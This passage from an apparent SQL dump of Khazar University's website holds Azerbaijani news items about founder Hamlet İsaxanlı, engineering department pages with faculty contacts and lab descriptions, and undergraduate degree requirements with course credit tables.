margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il fevralın 8-də Dövlət Statistika Komitəsində beynəlxalq\r\nekspertlər qrupu ilə Statistika Şurasının üzvlərinin görüşü keçirildi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri\r\nprofessor Hamlet İsaxanlı görüşdə iştirak etdi. O, müzakirələrdə iştirak etdi və\r\nqonaqarın suallarını cavablandırdı.</p>'),(3186,1876,'az','Hamlet İsaxanlı illik toplantıda iştirak etdi','2017-ci il fevralın 9-da Nizami Rayon İcra Hakimiyyətində rayonun 2016-ci ilin sosial-iqtisadi inkişafının yekunlarına və qarşıda duran vəzifələrə həsr olunmuş hesabat yığıncağı...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2017-ci\r\nil fevralın 9-da Nizami Rayon İcra Hakimiyyətində rayonun 2016-ci ilin\r\nsosial-iqtisadi inkişafının yekunlarına və qarşıda duran vəzifələrə həsr\r\nolunmuş hesabat yığıncağı keçirildi. Yığıncağı giriş sözü ilə Nizami Rayon İcra\r\nHakimiyyətinin başçısı Arif Qasımov açaraq toplantı iştirakçılarını salamladı və\r\nhesabat məruzəsi ilə çıxış etdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Məruzə\r\nətrafında Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri\r\nprofessor Hamlet İsaxanlı, millət vəkilləri Flora Qasımova, Rufət Quliyev,\r\nRasim Musabəyov, Sədaqət Vəliyeva və Prezident Administrasiyasının nümayəndəsi\r\nTağı Tağıyev çıxış etdilər. Yığıncağın sonunda rayon ictimaiyyəti adından\r\nmüraciət qəbul edildi. Yığıncaqda Xəzər Universitetinin İctimai əlaqələr və\r\nmedia üzrə direktoru Əlövsət Əmirbəyli də iştirak edirdi.&nbsp;</p>'),(471,305,'en','Program','',''),(472,306,'en','News','',''),(473,307,'en','About','','<p>Research interests of the department are:<br></p><ul><li>Oil Chemistry</li><li>Polymer Chemistry, i.e. chemistry of high-molecular compounds</li><li>Chemical Technology</li><li>Analytical Chemistry</li><li>Colloidal Chemistry</li><li>Other</li></ul><p>Research work done by the Department is mainly focused on synthesis, study and application of novel efficient surfactants, especially for implementation in the oil industry. These chemicals are obtained on the basis of higher aliphatic alcohols, higher aliphatic carboxylic acids and their natural fractions, epoxy compounds and ethanolamines. Polymeric surfactants are also synthesized, which are based on unsaturated carboxylic acids, epoxides and (in)organic bases. Spheres of the intended application of these synthesized surfactants are petroleum enhanced recovery, isolation of drilled zones, stabilizers of drilling muds, liquidation of oil slicks and so on.&nbsp;</p>'),(474,308,'en','Faculty and Staff','Faculty and Staff','<p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Rasim_Bayramli.pdf\"><img style=\"width:150px;height:194px;margin:7px;float:left\" src=\"/files/engineering/images/Rasim.png\"></a></strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Rasim_Bayramli.pdf\">Rasim Bayramli</a> - Associate Professor</strong></p><p>Head of the Department of Civil Engineering</p><p>PhD&nbsp;in Civil Engineering (Moscow Asbestos and Cement Scientific Research Institute, Russia)</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:rbayramli@khazar.org\">rbayramli[at]khazar.org</a></p><p><strong>Phone:</strong>&nbsp;(+994&nbsp;51) 909 06 22&nbsp;</p><p><br></p><hr><p><strong><a href=\"http://www.khazar.org/files/engineering/Zia_S_CV_Sep2018.pdf\"><img src=\"/files/engineering/images/zia.jpg\" style=\"float:left;width:150px;height:108px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Ziaaddin Zamanzadeh</a></strong><br></p><p>PhD in&nbsp;Structural Engineering (University of Minho, Portugal)<br></p><p>Visiting Professor (Khazar University, Azerbaijan)  </p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:zzamanzadeh@khazar.org\">zzamanzadeh[at]khazar.org</a></p> <hr><img src=\"http://www.khazar.org/files/engineering/images/mehdi_bashiri.jpg\" style=\"float:left;width:150px;height:147px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><p><strong><a href=\"http://www.khazar.org/files/engineering/Mehdi_Bashiri-CV.pdf\">Mehdi Bashiri</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/Mehdi_Bashiri-CV.pdf\"></a></strong>MS&nbsp;in Civil Engineering-Structural Engineering (Sharif University of&nbsp;Technology, Iran)</p><p>PhD candidate in Civil Engineering-Structural Engineering (Khazar University, Azerbaijan)</p><p style=\"padding-left:160px\"><strong>E-mail:&nbsp;</strong><a href=\"mailto:mbashiri@khazar.org\">mbashiri[at]khazar.org</a>&nbsp;</p><hr><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Sabira_Zeynalova.pdf\"><img style=\"width:150px;height:192px;margin:7px;float:left\" src=\"/files/engineering/images/Sabira_Zeynalova.JPG\"></a></strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Sabira_Zeynalova.pdf\">Sabira Zeynalova</a></strong></p><p>MS&nbsp;in Civil Engineering (Azerbaijan Architecture and Construction University)</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:sabira.zeynalova@khazar.org\">sabira.zeynalova[at]khazar.org</a>  <br></p><p><br></p><p><br></p><p><br></p>   <hr><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Zumrud_Abdulova.pdf\"><img style=\"width:150px;height:200px;margin:7px;float:left\" src=\"/files/engineering/images/Zumrud_Abdulova.jpg\"></a></strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV_Zumrud_Bayramova%202017.pdf\">Zumrud Bayramova</a></strong></p><p>MS&nbsp;in Civil Engineering&nbsp;(Azerbaijan University of Architecture and Construction)  </p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:zumrud.bayramova@khazar.org\">zumrud.bayramova[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p>'),(475,309,'en','Research','','<h2>Research facilities&nbsp;</h2>\r\n<p>Our facilities for advanced research are located on the\r\nNeftchilar campus which are consist of Structure and Material Laboratory,\r\nResearch Groups and Library.</p><h3 style=\"color:#000000\">Structure and Material Laboratory</h3><p><img src=\"/files/image/3213.JPG\" style=\"width:300px;height:198px;margin-top:7px;margin-right:7px;margin-bottom:7px;float:left\"><img src=\"/files/image/121.JPG\" style=\"width:300px;height:198px;margin:7px\"><br></p><p>Our\r\nMaterial of Construction Testing Laboratory is a state-of-the-art facility and\r\none of kind among Azerbaijan Universities that serves both research and\r\nteaching purposes. There are more than 10 major equipment related to testing\r\nmaterials of construction such as concrete mixture, cement and gypsum. These\r\nequipment can measure different properties of these materials such as softening\r\npoint, specific gravity, slump,&nbsp;particle size\r\ndistribution,&nbsp;Impermeability and&nbsp;air content. Also required equipment\r\nfor basic surveying are available.&nbsp;The laboratory is located in the\r\nbasement of campus and can be accessed from the yard.</p>'),(476,310,'en','Programs','',''),(477,311,'en','Admissions','',''),(478,312,'en','News and Events','',''),(479,313,'en','Contact us','','<div><br></div><div><p>Address:</p><p>Department of&nbsp;<span style=\"color:#252525;font-size:medium;line-height:1.1;background-color:#ffffff\">Civil Engineering</span></p><p style=\"font-size:medium\">Khazar University (Neftchilar Campus)</p><p style=\"font-size:medium\">&nbsp;41 Mehseti Str.</p><p style=\"font-size:medium\">Baku, Azerbaijan</p><p>&nbsp;</p><p style=\"font-size:medium\">Tel: &nbsp;051 909 06 22</p><p style=\"font-size:medium\">&nbsp;E-mail: &nbsp;<a href=\"mailto:r.bayramli@yandex.ru\">r.bayramli@yandex.ru</a></p>  <p><br></p><p><br></p><br>  <br></div>'),(480,314,'en','About us','About us','<div><br></div><div><br></div><div>About&nbsp;&nbsp;<br></div>'),(481,315,'en','Faculty and Staff','Faculty and Staff','<br><img src=\"http://www.khazar.org/files/image/15_10_09_DSC_v.jpg\" style=\"width:153px;height:190px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/pdf/CV-HN_June2016.pdf\">Hassan Niknafs</a>&nbsp;-&nbsp;Professor</strong></p><p><strong>Coordinator of&nbsp;</strong><strong>Department Electronics&nbsp;and Telecommunications&nbsp;</strong>  </p><p>Ph.D. in Computational Fluid Dynamics (The University of Akron, Ohio, USA)  <br></p><p>MS&nbsp;in Mechanical Engineering&nbsp;(Youngstown State University, Ohio, USA)&nbsp;</p><p>E-mail: <a href=\"mailto:hniknafs[at]khazar.org\">hniknafs[at]khazar.org</a>&nbsp;&nbsp;&nbsp;</p><p><br></p>  <p><strong></strong></p><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><strong></strong><br><div><img src=\"http://www.khazar.org/files/image/14_03_31_nurusafarov.jpg\" style=\"width:150px;height:205px;margin:7px;float:left\"><span style=\"font-size:medium;color:#000000\"><p><strong><a href=\"http://www.khazar.org/files/pdf/Nuru_SafarovCV.pdf\">Nuru Safarov</a>&nbsp;-&nbsp;Associate Professor</strong></p><p><strong>Head of Department Electronics&nbsp;and Telecommunications&nbsp;</strong></p><p>Ph.D. in Physics,&nbsp;ANAS, Azerbaijan</p><p>MS in&nbsp;Radio Physics &amp; Electronics, Dnepropetrovsk State University, Ukraine</p><p>E-mail: <a href=\"mailto:NSafarov@khazar.org\">NSafarov[at]khazar.org</a></p><p><br></p><br><hr style=\"width:100%;height:1px\" noshade=\"noshade\"></span></div><p><img src=\"/files/image/14_12_24_Irada_khalilova_2.jpg\" style=\"width:153px;height:190px;margin:7px;float:left\"></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Irada_Khalilova.pdf\">Irada Khalilova</a></strong> <strong>-&nbsp;Associate Professor</strong>  <strong></strong></p><p style=\"box-sizing:border-box;margin:0px 0px 10px;color:#252525;background-color:#ffffff\"><span style=\"box-sizing:border-box\">Ph.D. in Biological Sciences - Allergology and Immunology (Azerbaijan Medical University)</span></p><p>MS&nbsp;in Biology - Molecular Biology and Biophysics (Baku State University)</p>  <p>E-mail:&nbsp;<a href=\"mailto:ikhalilova@khazar.org\">ikhalilova[at]khazar.org</a>&nbsp;</p><div><br></div><div><br></div><br><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><br><img src=\"http://www.khazar.org/files/image/14_12_24_Mushfiq_Orujov.jpg\" style=\"border:0px #000000;width:153px;height:188px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/pdf/Mushfig_Orujov_CV.pdf\">Mushfig Orujov</a>&nbsp;</strong><strong></strong></p><p>Ph.D.&nbsp;in Medical Sciences,&nbsp;Histology, Cytology and Cell Biology&nbsp;(Azerbaijan Medical University)</p><p>MS, Azerbaijan Medical University&nbsp;<br></p><p>E-mail:&nbsp;<a href=\"mailto:morujov@hotmail.com\">morujov[at]hotmail.com</a></p><p><br></p><p><br></p><div><br></div><br><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><p><br></p><img src=\"http://www.khazar.org/files/image/15_10_09_zaur.jpg\" style=\"width:153px;height:190px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/pdf/Zaur_Kerimov_CV.pdf\">Zaur Karimov</a></strong></p><p>Ph.D. in Biological Sciences (AMEA, Institute of Microbiology)  <br></p><p>MS,&nbsp;Azerbaijan Medical University  </p><p>E-mail:&nbsp;<a href=\"mailto:morujov@hotmail.com\">zaurkarimov[at]mail.ru</a></p>'),(482,316,'en','Mission','','<p style=\"text-align:justify\">The primary mission of the Department of Biomedical\r\nEngineering is to educate students to understand the human body as an\r\nintegrated system and the mechanisms of disease through quantitative\r\nengineering analysis, and to use that understanding to design better\r\ntherapeutic strategies, devices, and diagnostics to improve human health.</p>'),(483,317,'en','Program','',''),(484,318,'en','Undergraduate programs','','<p style=\"font-family:arial, helvetica, sans-serif\">The School of Engineering and Applied Science awards a Bachelor of Science (BS) Degree to students who have satisfactorily completed four-year programs in selected fields of engineering and applied science.&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif\">The curricular requirements for the Bachelor of Science degree consist of a minimum of&nbsp;128&nbsp;required credits. Students are required to take a summer internship during the period of study and to have a satisfactory record approved by the School.</p><p style=\"font-family:arial, helvetica, sans-serif\">The School offers BS degree programs in:</p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>• Computer Science</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>• Computer Engineering</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>• Petroleum and Gas Engineering</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>• Civil Engineering</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>• Electronics, Telecommunications and Radio Engineering</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>• Chemical Engineering&nbsp;</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>• Biomedical Engineering&nbsp;</strong></p><p style=\"font-family:arial, helvetica, sans-serif\">&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif\">The scope, objectives and degree requirements for the majors offered by the School are given below.</p><p style=\"font-family:arial, helvetica, sans-serif\">The requirements for all the majors in undergraduate programs include:</p><p style=\"font-family:arial, helvetica, sans-serif\">&nbsp;•&nbsp;<strong>University Requirements</strong></p><p style=\"font-family:arial, helvetica, sans-serif\">&nbsp;•&nbsp;<strong>General Education Requirements</strong>&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif\">&nbsp;•&nbsp;<strong>Major and Major-related Requirements</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>&nbsp;</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>University Requirements</strong>&nbsp;include two main components and give a total number of 27 credits:</p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>&nbsp;</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>English Language&nbsp;</strong>includes 15 semester credits of:</p><p style=\"font-family:arial, helvetica, sans-serif\">• Listening/Reading 1 (3 credits)</p><p style=\"font-family:arial, helvetica, sans-serif\">• Speaking/Writing 1 (3 credits)</p><p style=\"font-family:arial, helvetica, sans-serif\">• Listening/Reading 2 (3 credits)</p><p style=\"font-family:arial, helvetica, sans-serif\">• Speaking/Writing 2 (3 credits)</p><p style=\"font-family:arial, helvetica, sans-serif\">• English for Special Purposes (3 credits)</p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>&nbsp;</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>Azerbaijani Studies&nbsp;</strong>includes 12 semester credits of:</p><p style=\"font-family:arial, helvetica, sans-serif\">• Azerbaijani (Azeri) Language and Composition (3 credits)</p><p style=\"font-family:arial, helvetica, sans-serif\">• Azerbaijani Literature (3 credits)</p><p style=\"font-family:arial, helvetica, sans-serif\">• Azerbaijani Culture (3 credits)</p><p style=\"font-family:arial, helvetica, sans-serif\">• History of Azerbaijan (3 credits)</p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>&nbsp;</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>General Education Requirements&nbsp;</strong>are composed of three components, forming a minimum of 21 credits:</p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>• Humanities</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>• Social Sciences</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>• Science and Technology</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>&nbsp;</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>The Humanities</strong>&nbsp;division of the program includes particular courses in&nbsp;<em>Literature, Language and Linguistics, Philosophy, History, Culture and Civilization, Fine Arts and Art History.&nbsp;</em>Students must take at least two courses with a minimum of 6 credits.</p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>&nbsp;</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>The Social Sciences</strong>&nbsp;group contains courses in&nbsp;<em>Geography, Political Science, International Relations, Law and Government, Anthropology, Economics, Sociology and Psychology.&nbsp;</em>Students must take at least two courses with a minimum of 6 credits (including the course&nbsp;<em>Introduction to Economics</em>&nbsp;recommended by the School).</p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>The Science and Technology</strong>&nbsp;component of the General Education Program unites three divisions:</p><p style=\"font-family:arial, helvetica, sans-serif\">•<strong>&nbsp;Physical Sciences and Mathematics</strong></p><p style=\"font-family:arial, helvetica, sans-serif\">•<strong>&nbsp;Life Sciences</strong></p><p style=\"font-family:arial, helvetica, sans-serif\">•<strong>&nbsp;Computer Sciences</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>&nbsp;</strong></p><p style=\"font-family:arial, helvetica, sans-serif\">It contains&nbsp;<em>Mathematics, Computer Science, Physics, Chemistry, Astronomy, Geography and Environmental Studies, Geology, Biological Sciences and Anthropology,&nbsp;</em>and<em>&nbsp;Medical Science</em>.</p><p style=\"font-family:arial, helvetica, sans-serif\">Students must complete at least three courses, including at least one from each subgroup to form a minimum of 9 credits (including the course&nbsp;<em>Calculus I</em>&nbsp;recommended by the School).</p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>&nbsp;</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>Major Requirements</strong>&nbsp;include major and major-related courses and form a minimum of 74 credits.</p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>&nbsp;</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>Open Electives:&nbsp;</strong>students must take at least two additional courses with a minimum of 6 credits. These courses can be taken from any major or non-major divisions without any restriction.</p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>&nbsp;</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>Bachelor of</strong><strong>&nbsp;</strong><strong>Science (BS) Degree Program in Computer Science</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>&nbsp;</strong>&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif\">The Computer Science Program is designed to accommodate students who want to receive professional training in computer science but do not necessarily have a strong interest in computer systems hardware. Within the curriculum, students study subject matter in software engineering, principles of programming languages, data structures, high level programming languages, operating systems, computer modeling, computer networks, artificial intelligence, etc.</p><p style=\"font-family:arial, helvetica, sans-serif\">The objective of this program is to prepare students either for postgraduate study or for immediate employment, with achievement of professional excellence in a wide range of industrial, business, and non-industrial environments, which interface with the information processing systems.</p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>&nbsp;</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"></p><table cellspacing=\"0\" cellpadding=\"5\" width=\"492\" height=\"400\"><tbody><tr><td width=\"156\"><strong>Code</strong></td><td><strong>Courses</strong></td><td colspan=\"2\" width=\"84\"><strong>Credits</strong></td></tr><tr><td colspan=\"3\" width=\"432\"><strong>&nbsp;</strong></td><td width=\"60\"><strong>&nbsp;</strong></td></tr><tr><td colspan=\"3\" width=\"432\"><strong>&nbsp;University Requirements</strong></td><td width=\"60\">27</td></tr><tr><td colspan=\"3\" width=\"432\"><strong>&nbsp;General Education Requirements</strong></td><td width=\"60\">21</td></tr><tr><td colspan=\"3\" width=\"432\"><strong>&nbsp;Major Requirements</strong></td><td width=\"60\">74</td></tr><tr><td colspan=\"3\" width=\"432\"><strong>&nbsp;Mathematics and Science&nbsp;</strong>( total 18 credits)</td><td width=\"60\"><strong>&nbsp;</strong></td></tr><tr><td width=\"156\">&nbsp;MATH 102</td><td colspan=\"2\" width=\"276\">&nbsp;Calculus II</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp;MATH 231</td><td colspan=\"2\" width=\"276\">&nbsp;Applied Linear Algebra</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp;</td><td colspan=\"2\" width=\"276\">&nbsp;Two elective courses on Mathematics</td><td width=\"60\">6</td></tr><tr><td width=\"156\">&nbsp; PHSC 111</td><td colspan=\"2\" width=\"276\">&nbsp;Physics I</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp; PHSC 112</td><td colspan=\"2\" width=\"276\">&nbsp;Physics II</td><td width=\"60\">3</td></tr><tr><td colspan=\"3\" width=\"432\"><strong>&nbsp; Lower Division&nbsp;</strong>(total 17 credits)</td><td width=\"60\"><strong>&nbsp;</strong></td></tr><tr><td width=\"156\">&nbsp; CMS 105</td><td colspan=\"2\" width=\"276\">&nbsp;Fundamentals of Computer Programming</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp; CMS 202</td><td colspan=\"2\" width=\"276\">&nbsp;Computer Applications in Engineering</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp; CMS 204</td><td colspan=\"2\" width=\"276\">&nbsp;C-programming</td><td width=\"60\">4</td></tr><tr><td width=\"156\">&nbsp; CMS 218</td><td colspan=\"2\" width=\"276\">&nbsp;Data Structures and Algorithms</td><td width=\"60\">4</td></tr><tr><td width=\"156\">&nbsp; MGT 310</td><td colspan=\"2\" width=\"276\">&nbsp;Management and Organization</td><td width=\"60\">3</td></tr><tr><td colspan=\"3\" width=\"432\"><strong>&nbsp; Upper Division&nbsp;</strong>(total 39 credits)</td><td width=\"60\"><strong>&nbsp;</strong></td></tr><tr><td width=\"156\">&nbsp; CMS 301</td><td colspan=\"2\" width=\"276\">&nbsp;Operating Systems</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp; CMS 309</td><td colspan=\"2\" width=\"276\">&nbsp;Computer Networks and Communications</td><td width=\"60\">4</td></tr><tr><td width=\"156\">&nbsp; CMS 314</td><td colspan=\"2\" width=\"276\">&nbsp;Information Management</td><td width=\"60\">4</td></tr><tr><td width=\"156\">&nbsp; CMS 350</td><td colspan=\"2\" width=\"276\">&nbsp;Computer Graphics</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp; CMS 415</td><td colspan=\"2\" width=\"276\">&nbsp;Artificial Intelligence</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp; CMS 420</td><td colspan=\"2\" width=\"276\">&nbsp;Object-Oriented Programming Languages</td><td width=\"60\">4</td></tr><tr><td width=\"156\">&nbsp; CMS 425</td><td colspan=\"2\" width=\"276\">&nbsp;Soft Computing</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp; CMS 430</td><td colspan=\"2\" width=\"276\">&nbsp;Software Engineering</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp;</td><td colspan=\"2\" width=\"276\">&nbsp;Minimum three elective courses on Major</td><td width=\"60\">12</td></tr><tr><td colspan=\"3\" width=\"432\"><strong>&nbsp; Open Electives</strong></td><td width=\"60\"><strong>6</strong></td></tr><tr><td width=\"156\">&nbsp;</td><td colspan=\"2\" width=\"276\">&nbsp;Elective 1</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp;</td><td colspan=\"2\" width=\"276\">&nbsp;Elective 2 &nbsp;</td><td width=\"60\">3</td></tr><tr><td width=\"156\">TOTAL</td><td colspan=\"2\" width=\"276\"><strong>&nbsp;</strong></td><td width=\"60\"><strong>128</strong></td></tr></tbody></table><p></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>&nbsp;</strong>&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>Note:</strong>&nbsp;The School may also offer alternative courses to those listed above. &nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif\">&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>Bachelor of Science (BS) Degree Program in Computer Engineering</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>&nbsp;</strong>&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif\">Computer engineering is concerned with the modeling, analysis, design, and applications of computer-related systems. Its study provides education at the undergraduate level necessary to understand, design, implement and use the software and hardware of computers and systems. Students study all principal aspects of computer systems: logic design, computer system architecture, data structures, algorithms, operating system concepts, and application of hardware and software systems in both engineering and non-engineering contents. Students combine these computer engineering studies with pertinent aspects of electrical engineering such as: circuit theory, signals and systems, electronic circuits and design, integrated circuits and device utilization.</p><p style=\"font-family:arial, helvetica, sans-serif\"></p><table cellspacing=\"0\" cellpadding=\"4\"><tbody><tr><td width=\"156\"><strong>Code</strong></td><td width=\"252\"><strong>Courses</strong>&nbsp;&nbsp;</td><td colspan=\"2\" width=\"84\"><strong>Credits</strong></td></tr><tr><td colspan=\"3\" width=\"432\"><strong>&nbsp;</strong></td><td width=\"60\"><strong>&nbsp;</strong></td></tr><tr><td colspan=\"3\" width=\"432\"><strong>&nbsp;University Requirements</strong></td><td width=\"60\"><strong>27</strong></td></tr><tr><td colspan=\"3\" width=\"432\"><strong>&nbsp;General Education Requirements</strong><strong></strong></td><td width=\"60\"><strong>21</strong></td></tr><tr><td colspan=\"3\" width=\"432\"><strong>&nbsp;Major Requirements</strong></td><td width=\"60\"><strong>74</strong></td></tr><tr><td colspan=\"3\" width=\"432\"><strong>&nbsp;Mathematics and Science&nbsp;</strong>(total 18 credits)</td><td width=\"60\"><strong>&nbsp;</strong></td></tr><tr><td width=\"156\">&nbsp;MATH 102</td><td colspan=\"2\" width=\"276\">&nbsp;Calculus II</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp;MATH 231</td><td colspan=\"2\" width=\"276\">&nbsp;Applied Linear Algebra</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp;</td><td colspan=\"2\" width=\"276\">&nbsp;Two elective courses on Mathematics</td><td width=\"60\">6</td></tr><tr><td width=\"156\">&nbsp;PHSC 111</td><td colspan=\"2\" width=\"276\">&nbsp;Physics I</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp;PHSC 112</td><td colspan=\"2\" width=\"276\">&nbsp;Physics II</td><td width=\"60\">3</td></tr><tr><td colspan=\"3\" width=\"432\"><strong>&nbsp;Lower Division&nbsp;</strong>(total 18 credits)</td><td width=\"60\"><strong><em>&nbsp;</em></strong></td></tr><tr><td width=\"156\">&nbsp;CMS 202</td><td colspan=\"2\" width=\"276\">&nbsp;Computer Applications in Engineering</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp;CMS 204</td><td colspan=\"2\" width=\"276\">&nbsp;C- Programming</td><td width=\"60\">4</td></tr><tr><td width=\"156\">&nbsp;CMS 218</td><td colspan=\"2\" width=\"276\">&nbsp;Data Structures and Algorithms</td><td width=\"60\">4</td></tr><tr><td width=\"156\">&nbsp;EENG 301</td><td colspan=\"2\" width=\"276\">&nbsp;Circuits Theory</td><td width=\"60\">4</td></tr><tr><td width=\"156\">&nbsp;MGT 310</td><td colspan=\"2\" width=\"276\">&nbsp;Management and Organization &nbsp;</td><td width=\"60\">3</td></tr><tr><td colspan=\"3\" width=\"432\"><strong>&nbsp;Upper Division&nbsp;</strong>(total 38 credits)</td><td width=\"60\"><strong>&nbsp;</strong></td></tr><tr><td width=\"156\">&nbsp;CMS 301</td><td colspan=\"2\" width=\"276\">&nbsp;Operating Systems</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp;CMS 303</td><td colspan=\"2\" width=\"276\">&nbsp;Digital Logic</td><td width=\"60\">4</td></tr><tr><td width=\"156\">&nbsp;CMS 308</td><td colspan=\"2\" width=\"276\">&nbsp;Computer Architecture</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp;CMS 309</td><td colspan=\"2\" width=\"276\">&nbsp;Computer Networks and Communications</td><td width=\"60\">4</td></tr><tr><td width=\"156\">&nbsp;CMS 316</td><td colspan=\"2\" width=\"276\">&nbsp;Database Management Systems</td><td width=\"60\">4</td></tr><tr><td width=\"156\">&nbsp;CMS 350</td><td colspan=\"2\" width=\"276\">&nbsp;Computer Graphics</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp;CMS 420</td><td colspan=\"2\" width=\"276\">&nbsp;Object–Oriented Programming Languages</td><td width=\"60\">4</td></tr><tr><td width=\"156\">&nbsp;EENG 450</td><td colspan=\"2\" width=\"276\">&nbsp;Electronics</td><td width=\"60\">4</td></tr><tr><td width=\"156\">&nbsp;</td><td colspan=\"2\" width=\"276\">&nbsp;Three elective courses on Major &nbsp;</td><td width=\"60\">9 &nbsp;</td></tr><tr><td width=\"156\"><strong>&nbsp;Open Electives</strong></td><td colspan=\"2\" width=\"276\">&nbsp;</td><td width=\"60\"><strong>6</strong></td></tr><tr><td width=\"156\">&nbsp;</td><td colspan=\"2\" width=\"276\">&nbsp;Elective 1</td><td width=\"60\">3</td></tr><tr><td width=\"156\">&nbsp;</td><td colspan=\"2\" width=\"276\">&nbsp;Elective 2 &nbsp;</td><td width=\"60\">3</td></tr><tr><td width=\"156\"><strong>&nbsp;TOTAL</strong></td><td colspan=\"2\" width=\"276\"><strong>&nbsp;</strong></td><td width=\"60\"><strong>128</strong></td></tr></tbody></table><p></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>&nbsp;</strong>&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>Note:</strong>&nbsp;The School may also offer alternative courses to those listed above.&nbsp;<strong>&nbsp;</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>&nbsp;</strong>&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>Bachelor of Science (BS) Degree Program in Petroleum and Gas Engineering</strong></p><p style=\"font-family:arial, helvetica, sans-serif\"><strong>&nbsp;</strong>&nbsp;</p><p style=\"font-family:arial, helvetica, sans-serif\">Petroleum and Gas Engineering deals with the fluid flow through subsurface formations, drilling, production, reservoir engineering and transportation of oil, gas, and other subsurface resources.</p><p style=\"font-family:arial, helvetica, sans-serif\">Azerbaijan has a very rich historical tradition of the oil industry. Today many international oil companies are operating in Baku, creating broad 